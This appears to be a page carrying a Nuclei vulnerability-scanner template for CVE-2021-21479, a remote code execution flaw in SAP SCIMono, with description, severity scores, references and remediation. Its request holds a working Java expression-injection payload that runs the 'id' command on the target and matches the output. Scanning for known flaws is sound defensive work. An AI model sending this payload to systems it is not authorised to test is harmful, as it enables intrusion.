CVE-2021-21479: SCIMono <0.0.19 - Remote Code Execution

2025-08-01 SCIMono PoC Public

Description

SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and

execute java expressions and compromise the availability and integrity of the system.

PoC

id: CVE-2021-21479

info:
  name: SCIMono <0.0.19 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
    execute java expressions and compromise the availability and integrity of the system.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21479
    - https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-21479
    cwe-id: CWE-74
    epss-score: 0.10116
    epss-percentile: 0.95399
    cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: scimono
  tags: cve,cve2021,scimono,rce,sap,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"

    matchers:
      - type: word
        part: body
        words:
          - "The attribute value"
          - "java.lang.UNIXProcess@"
          - "has invalid value!"
          - '"status" : "400"'
        condition: and
# digest: 490a00463044022051a5ae25d59a1a7ba2de32f22781f9e0ce64bc26405ee82910b5a789af32b4f502205551015c5203a10f6c9a971fecc7a41a1095b6710cfd1b678017c20f481f7364:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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